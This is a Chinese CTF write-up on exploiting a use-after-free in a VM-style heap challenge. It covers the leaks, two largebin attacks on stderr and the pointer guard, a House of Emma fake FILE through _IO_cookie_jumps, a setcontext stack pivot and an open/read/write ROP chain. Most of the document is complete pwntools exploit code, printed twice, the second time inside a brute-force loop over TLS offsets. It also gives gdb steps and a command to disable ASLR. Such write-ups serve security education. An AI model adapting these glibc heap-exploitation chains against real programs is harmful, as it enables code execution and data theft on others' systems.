讲水课,恰大米

沙箱开启,考虑orw

保护全开

VM分析

循环输入,每次读最多0x500,每次循环分配释放0x2000空间

注意这里每次循环时的malloc,会影响后面的堆风水

入口函数分析

sub_1288处无法识别

undefine后,由gdb动调知入口在0x1289处,修复为函数

将输入的字符串指针存在[rbp-18h]

image-20230720151519060

随后取第一个byte,与运算0Fh,进行一个没什么用的检查,再将该值*4放入rdx,与一个首地址相加放入eax,符号拓展为rax(因为是负数),再与该首地址相加(rax为补码,实际为相减),其中算负数计算式为hex((~0xfffffffffffff3a1&0xffffffffffffffff)+0x1),随后跳转到该位置

image-20230720152303704

0 1 2 3 4 5 6 7 8 9
1488h 13ddh 1404h 1428h 144ch 1481h 12dah 130dh 13abh 1342h
fail add delet show edit leave&ret

image-20230721133000180

连按d修复跳转表,观察补码可知为4字节一组

其实可以用ida的edit->other->specify switch idiom功能修复为switch

add

  • index 2nd byte
  • size 2nd word
  • image-20230718174743516
  • +4&jump to start

delet

  • index 2nd byte

  • uaf

  • image-20230718174950029

  • +2

show

  • index 2nd byte

  • image-20230718175134076

  • +2

edit

  • index 2nd byte
  • size 2nd word
  • content 2nd dword, size
  • image-20230719093944933

利用思路

存在UAF,可多次进行largbin attack

无法改写为任意地址,无法直接house of kiwi,考虑house of emma

  • 泄露libc、heap基址

  • 两次largbin attack改写stderr__pointer_chk_guard

  • 合理伪造stderr与IO链

  • 触发__malloc_assert

堆布局与largbin attack

leak

add(0,0x420)
add(1,0x440)
add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
add(3,0x440)
add(5,0x430)#(7)(8)->pointer guard
add(6,0x420)
delet(0)
delet(2)
show(0)#获取libc基址
sendit()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
stderr_addr = libc_base + libc.sym['stderr']
fixed_heap_fdbk = libc_base + 0x1f30c0
setcontex61 = libc_base + 0x50bfd
point_guard = libc_base + 0x3c0740 + 0x30
log.success("libc_base = {}".format(hex(libc_base)))
log.success("stderr = {}".format(hex(stderr_addr)))
log.success("setcontex+61 = {}".format(hex(setcontex61)))
log.success("point_guard = {}".format(hex(point_guard)))
add(4,0x410)
edit(2,16,cyclic(16))
show(2)
sendit()

p.recvuntil("daaa")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
log.success("heap0_base = {}".format(hex(heap_base)))

free掉任意一个unsorted bin可获取libc基址

问题:这里的chunk 0为什么能保持在unsorted bin中,而没有在循环开始malloc0x2000时放入large bin?

因为chunk 0和0x2000紧邻,每次完成循环都会触发合并,并在分配时被切下来

构造0<2,free掉后申请一块较小的chunk,将2放入largebin以获取heap基址

注意输出存在截断,可以先把2的fd,bk部分填满,事后记得要修复

注意largbin大小0x440~0x480为一个范围,为后续largebin attack起见,应注意预留大小

largebin attack*2

largebin attack的利用方式:

  1. 将一个较大的、largebin中的chunk的bk_nextsize覆盖为[target-0x20]
  2. 将一个较小的chunk放入同一个largebin,触发unlink
  3. 此时[target]的内容被修改为较小chunk的地址
#attack stderr
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)#构造的同时顺便修复
edit(2,32,payload)
delet(5)
sendit()
#attack point_guart
add(7,0x430)
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
edit(2,32,payload)
delet(7)
sendit()

将5free掉,放入largebin,打出一次attack,修改stderr

又通过7将5申请回来,(这里申请之前没有修复,导致stderr指向了2)

随后再更改2,再free掉7(5),打出第二次attack,修改point_guard

__pointer_chk_guard

该值存在于fs:0x30

tls基址查看方式为fsbasetls(pwngdb),加上0x30即为guard值

也可以直接用gdb

(gdb) call arch_prctl(0x1003, $rsp - 0x8)    
$2 = 0 
(gdb) x /gx $rsp - 0x8
0x7fffffffe6e8: 0x00007ffff7fe0700   => IA32_FS_BASE

本地gdb调试时该值与libc偏移可能改变,调试时可以先关闭aslr

$ sudo sysctl -w kernel.randomize_va_space=0

修复largebin与准备触发__malloc_assert

#largbin fix
payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
edit(2,32,payload)
payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
edit(7,32,payload)
sendit()
#prepare assert
add(8,0x430)
delet(6)
add(9,0x440)
add(10,0x410)
edit(6,0x420,cyclic(0x418)+p64(0x10))
sendit()

先分别修补两个largebin,防止分配时发生错误

申请8填补5,申请9填补2

将最外层的chunk 6 free掉,加入unsorted bin并与top chunk合并

再申请一块略小于6的chunk 10,通过修改chunk 6的内容修改top chunk的size段

此处改为0x10使之页不对齐

后面只需要申请一个chunk就可以触发__malloc_assert

构造IO利用链

gadget

假设我们控制了stderr,进入了_IO_cookie_write,调用函数指针write_cb,此时我们只能控制进入函数时的rdi,而控制setcontext需要控制rdx

碰巧有一个gadget,能够利用rdi控制rdx,还能call一个和rdx相关的地址

image-20230720211806875

gadget = libc_base + 0x0000000000146020
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x000000000002d446
pop_rax = libc_base + 0x00000000000446c0
pop_rdi = libc_base + 0x000000000002daa2
pop_rsi = libc_base + 0x0000000000037c0a
syscall = libc_base + 0x00000000000883b6

fake stderr

def ROL(content, n):
	num = bin(content)[2:].rjust(64,'0')
	return int(num[n:]+num[:n],2)

#fake stderr
payload = p64(0)*3
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0x78,"\x00")
payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
payload = payload.ljust(0xc8,"\x00")
payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
payload += p64(heap_base+0x10) #chunk 0->rdi
payload += p64(0)
payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
edit(2,0xe8,payload)
sendit()

进入__malloc_assert后,利用__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write)调用链

需要满足_IO_write_ptr > _IO_write_base,且_lock指向可写地址,此处直接使用原地址_IO_stdfile_2_lock

vtable需要伪造,触发IO时,原本指向_IO_file_jumps -> __xsputn,即<__GI__IO_file_jumps+56>,需要伪造为_IO_cookie_jumps-> __write,即<_IO_cookie_jumps+120>,故此处填上_IO_cookie_jumps+0x40

构造__cookie为chunk 0的地址,注意为了方便更改,地址加上0x10,之后chunk 0的用户地址会进入rdi

构造cookie_write_function_t *write处指针为gadget地址,调用时直接运行gadget,此处有加密

rdi -> rdx

#rdi->rdx
payload = p64(0)#rdi
payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
edit(0,0x10,payload)
sendit()

修改chunk 0,使rdx指向chunk5

布置rdx附近满足setcontext

#rdx->setcontext
payload = p64(0)*3 + "./flag\x00\x00"
payload += p64(setcontex61)#call [rdx+0x20]
payload = payload.ljust(0x68,"\x00")
payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
payload += p64(ret)#rcx->ret
edit(5,0xb0,payload)
sendit()

根据setcontext+61,布置rdx周围,使寄存器满足条件

rsp指向chunk 1,rcx指向ret,将栈迁移到chunk 1上

orw chain

#orw chain
payload = p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#write

edit(1,17*8,payload)
sendit()

payload

#!/usr/bin/env python2
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])
def debug(cmd=''):
	cmd += "b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n"
	gdb.attach(p, cmd)
	pause()

host = ""
port = 0
p = process("./pwn")
#pt = remote(host, port)
libc = ELF('./libc.so.6')

pl = ""
tls_offset = 0x3c0740

def add(index, size):
#size(0x40f,0x500]
	global pl
	pl += p8(1)
	pl += p8(index)
	pl += p16(size)

def delet(index):
	global pl
	pl += p8(2)
	pl += p8(index)

def	show(index):
	global pl
	pl += p8(3)
	pl += p8(index)

def edit(index, size, str):
	global pl
	pl += p8(4)
	pl += p8(index)
	pl += p16(size)
	pl += str

def sendit():
	global pl
	pl += p8(5)
	p.sendlineafter("opcode\n", pl)
	pl = ""

def ROL(content, n):
	num = bin(content)[2:].rjust(64,'0')
	return int(num[n:]+num[:n],2)

add(0,0x420)
add(1,0x440)
add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
add(3,0x440)
add(5,0x430)#(7)(8)->pointer guard
add(6,0x420)
delet(0)
delet(2)
show(0)
sendit()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
stderr_addr = libc_base + libc.sym['stderr']
fixed_heap_fdbk = libc_base + 0x1f30c0
setcontex61 = libc_base + 0x50bfd
point_guard = libc_base + tls_offset + 0x30
log.success("libc_base = {}".format(hex(libc_base)))
log.success("stderr = {}".format(hex(stderr_addr)))
log.success("setcontex+61 = {}".format(hex(setcontex61)))
log.success("point_guard = {}".format(hex(point_guard)))
add(4,0x410)
edit(2,16,cyclic(16))
show(2)
sendit()

p.recvuntil("daaa")
heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
log.success("heap0_base = {}".format(hex(heap_base)))

#attack stderr
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)
edit(2,32,payload)
delet(5)
sendit()
#attack point_guart
add(7,0x430)
payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
edit(2,32,payload)
delet(7)
sendit()
#largbin fix
payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
edit(2,32,payload)
payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
edit(7,32,payload)
sendit()
#prepare assert
add(8,0x430)
delet(6)
add(9,0x440)
add(10,0x410)
edit(6,0x420,cyclic(0x418)+p64(0x10))
sendit()

gadget = libc_base + 0x0000000000146020
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x000000000002d446
pop_rax = libc_base + 0x00000000000446c0
pop_rdi = libc_base + 0x000000000002daa2
pop_rsi = libc_base + 0x0000000000037c0a
syscall = libc_base + 0x00000000000883b6

#fake stderr
payload = p64(0)*3
payload += p64(0xffffffffffffffff)
payload = payload.ljust(0x78,"\x00")
payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
payload = payload.ljust(0xc8,"\x00")
payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
payload += p64(heap_base+0x10) #chunk 0->rdi
payload += p64(0)
payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
edit(2,0xe8,payload)
sendit()
#rdi->rdx
payload = p64(0)#rdi
payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
edit(0,0x10,payload)
sendit()
#rdx->setcontext
payload = p64(0)*3 + "./flag\x00\x00"
payload += p64(setcontex61)#call [rdx+0x20]
payload = payload.ljust(0x68,"\x00")
payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
payload += p64(0)#rsi->0
payload = payload.ljust(0x88,"\x00")
payload += p64(0x100)#rdx->0
payload = payload.ljust(0xa0)
payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
payload += p64(ret)#rcx->ret
edit(5,0xb0,payload)
sendit()
#orw chain
payload = p64(pop_rax)
payload += p64(2)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap_base + 0x200)
payload += p64(syscall)#write
edit(1,17*8,payload)
sendit()

#trigger assert
add(11,0x500)
sendit()

p.interactive()
#!/usr/bin/env python2
from pwn import*

context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'new-window'])
def debug(cmd=''):
	cmd += "b *$rebase(0x1289)\nb *$rebase(0x1536)\nb *$rebase(0x15a4)\n *$rebase(0x13dd)\n"
	gdb.attach(p, cmd)
	pause()

for x in range(0x10):
    for y in range(0x10):
		try:	
			offset = 0x300740
			tls_offset = offset
			tls_offset += x << 16
			tls_offset += y << 12
			log.success("try offset:\t" + hex(tls_offset))

			host = ""
			port = 0
			p = process("./pwn")
			#pt = remote(host, port)
			libc = ELF('./libc.so.6')

			pl = ""

			def add(index, size):
			#size(0x40f,0x500]
				global pl
				pl += p8(1)
				pl += p8(index)
				pl += p16(size)

			def delet(index):
				global pl
				pl += p8(2)
				pl += p8(index)

			def	show(index):
				global pl
				pl += p8(3)
				pl += p8(index)

			def edit(index, size, str):
				global pl
				pl += p8(4)
				pl += p8(index)
				pl += p16(size)
				pl += str

			def sendit():
				global pl
				pl += p8(5)
				p.sendlineafter("opcode\n", pl)
				pl = ""

			def ROL(content, n):
				num = bin(content)[2:].rjust(64,'0')
				return int(num[n:]+num[:n],2)

			add(0,0x420)
			add(1,0x440)
			add(2,0x440)#largebins(9)->fakestderr(after attack pointerguard)
			add(3,0x440)
			add(5,0x430)#(7)(8)->pointer guard
			add(6,0x420)
			delet(0)
			delet(2)
			show(0)
			sendit()

			libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x1f2cc0
			stderr_addr = libc_base + libc.sym['stderr']
			fixed_heap_fdbk = libc_base + 0x1f30c0
			setcontex61 = libc_base + 0x50bfd
			point_guard = libc_base + tls_offset + 0x30
			log.success("libc_base = {}".format(hex(libc_base)))
			log.success("stderr = {}".format(hex(stderr_addr)))
			log.success("setcontex+61 = {}".format(hex(setcontex61)))
			log.success("point_guard = {}".format(hex(point_guard)))
			add(4,0x410)
			edit(2,16,cyclic(16))
			show(2)
			sendit()

			p.recvuntil("daaa")
			heap_base = u64(p.recvn(6).ljust(8,b"\x00"))-0x880
			log.success("heap0_base = {}".format(hex(heap_base)))

			#attack stderr
			payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(stderr_addr-0x20)
			edit(2,32,payload)
			delet(5)
			sendit()
			#attack point_guart
			add(7,0x430)
			payload = p64(fixed_heap_fdbk)*2 + p64(heap_base+0x880) + p64(point_guard-0x20)
			edit(2,32,payload)
			delet(7)
			sendit()
			#largbin fix
			payload = p64(heap_base+0x1120)+p64(libc_base+0x1f30c0)+p64(heap_base+0x1120)*2
			edit(2,32,payload)
			payload = p64(libc_base+0x1f30c0)+p64(heap_base+0x880)*3
			edit(7,32,payload)
			sendit()
			#prepare assert
			add(8,0x430)
			delet(6)
			add(9,0x440)
			add(10,0x410)
			edit(6,0x420,cyclic(0x418)+p64(0x10))
			sendit()

			gadget = libc_base + 0x0000000000146020
			#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
			ret = libc_base + 0x000000000002d446
			pop_rax = libc_base + 0x00000000000446c0
			pop_rdi = libc_base + 0x000000000002daa2
			pop_rsi = libc_base + 0x0000000000037c0a
			syscall = libc_base + 0x00000000000883b6


			#fake stderr
			payload = p64(0)*3
			payload += p64(0xffffffffffffffff)
			payload = payload.ljust(0x78,"\x00")
			payload += p64(libc_base + libc.sym['_IO_stdfile_2_lock'])
			payload = payload.ljust(0xc8,"\x00")
			payload += p64(libc_base + libc.sym['_IO_cookie_jumps']+0x40)
			payload += p64(heap_base+0x10) #chunk 0->rdi
			payload += p64(0)
			payload += p64(ROL(gadget^(heap_base+0x1120),0x11))
			edit(2,0xe8,payload)
			sendit()
			#rdi->rdx
			payload = p64(0)#rdi
			payload += p64(heap_base + 0x1120+0x10)#rdx->chunk 5
			edit(0,0x10,payload)
			sendit()
			#rdx->setcontext
			payload = p64(0)*3 + "./flag\x00\x00"
			payload += p64(setcontex61)#call [rdx+0x20]
			payload = payload.ljust(0x68,"\x00")
			payload += p64(heap_base + 0x1120+0x10+0x18)#rdi->./flag
			payload += p64(0)#rsi->0
			payload = payload.ljust(0x88,"\x00")
			payload += p64(0x100)#rdx->0
			payload = payload.ljust(0xa0)
			payload += p64(heap_base+0x430+0x10)#rsp->chunk 1
			payload += p64(ret)#rcx->ret
			edit(5,0xb0,payload)
			sendit()
			#orw chain
			payload = p64(pop_rax)
			payload += p64(2)
			payload += p64(syscall)#open
			payload += p64(pop_rax)
			payload += p64(0)
			payload += p64(pop_rdi)
			payload += p64(3)
			payload += p64(pop_rsi)
			payload += p64(heap_base + 0x200)
			payload += p64(syscall)#read
			payload += p64(pop_rax)
			payload += p64(1)
			payload += p64(pop_rdi)
			payload += p64(1)
			payload += p64(pop_rsi)
			payload += p64(heap_base + 0x200)
			payload += p64(syscall)#write

			edit(1,17*8,payload)
			sendit()

			#trigger assert
			add(11,0x500)
			sendit()
            r=p.recvuntil("flag")
			flag = r+p.recvuntil("}")
			log.success(flag)
			p.interactive()
		except:	
			p.close()